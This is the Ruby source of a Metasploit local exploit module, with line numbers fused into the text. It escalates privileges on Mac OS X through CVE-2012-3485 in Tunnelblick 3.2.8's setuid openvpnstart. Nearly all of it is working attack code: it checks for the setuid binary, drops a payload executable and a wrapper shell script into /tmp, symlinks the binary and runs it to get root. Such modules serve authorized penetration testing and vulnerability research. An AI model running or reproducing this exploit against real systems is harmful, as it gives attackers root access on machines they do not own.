Path: blob/master/modules/exploits/osx/local/setuid_tunnelblick.rb
30483 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::OSX::Priv9include Msf::Post::File10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'Setuid Tunnelblick Privilege Escalation',18'Description' => %q{19This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The20vulnerability exists in the setuid openvpnstart, where an insufficient21validation of path names allows execution of arbitrary shell scripts as root.22This module has been tested successfully on Tunnelblick 3.2.8 build 2891.309923over Mac OS X 10.7.5.24},25'References' => [26[ 'CVE', '2012-3485' ],27[ 'OSVDB', '84706' ],28[ 'EDB', '20443' ],29[ 'URL', 'http://blog.zx2c4.com/791' ]30],31'License' => MSF_LICENSE,32'Author' => [33'Jason A. Donenfeld', # Vulnerability discovery and original Exploit34'juan vazquez' # Metasploit module35],36'DisclosureDate' => '2012-08-11',37'Platform' => 'osx',38'SessionTypes' => [ 'shell' ],39'Targets' => [40[ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],41[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]42],43'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50}51)52)53register_options [54# These are not OptPath because it's a *remote* path55OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),56OptString.new('Tunnelblick', [ true, 'Path to setuid openvpnstart executable', '/Applications/Tunnelblick.app/Contents/Resources/openvpnstart' ])57]58end5960def base_dir61datastore['WritableDir'].to_s62end6364def check65unless file? datastore['Tunnelblick']66vprint_error 'openvpnstart not found'67return CheckCode::Safe68end6970check = cmd_exec("find #{datastore['Tunnelblick']} -type f -user root -perm -4000")7172unless check.include? 'openvpnstart'73return CheckCode::Safe74end7576CheckCode::Vulnerable77end7879def clean80file_rm(@link)81cmd_exec("rm -rf #{base_dir}/openvpn")82end8384def exploit85if is_root?86fail_with Failure::BadConfig, 'Session already has root privileges'87end8889if check != CheckCode::Vulnerable90fail_with Failure::NotVulnerable, 'Target is not vulnerable'91end9293unless writable? base_dir94fail_with Failure::BadConfig, "#{base_dir} is not writable"95end9697print_status('Creating directory...')98cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"99100exe_name = rand_text_alpha(8)101@exe_file = "#{base_dir}/openvpn/openvpn-0/#{exe_name}"102print_status("Dropping executable #{@exe_file}")103write_file(@exe_file, generate_payload_exe)104cmd_exec "chmod +x #{@exe_file}"105106evil_sh = <<~EOF107#!/bin/sh108#{@exe_file}109EOF110111@sh_file = "#{base_dir}/openvpn/openvpn-0/openvpn"112print_status("Dropping shell script #{@sh_file}...")113write_file(@sh_file, evil_sh)114cmd_exec "chmod +x #{@sh_file}"115116link_name = rand_text_alpha(8)117@link = "#{base_dir}/#{link_name}"118print_status("Creating symlink #{@link}...")119cmd_exec "ln -s -f -v #{datastore['Tunnelblick']} #{@link}"120121print_status('Running...')122begin123cmd_exec "#{@link} OpenVPNInfo 0"124rescue StandardError125print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")126clean127return128end129print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")130end131end132133134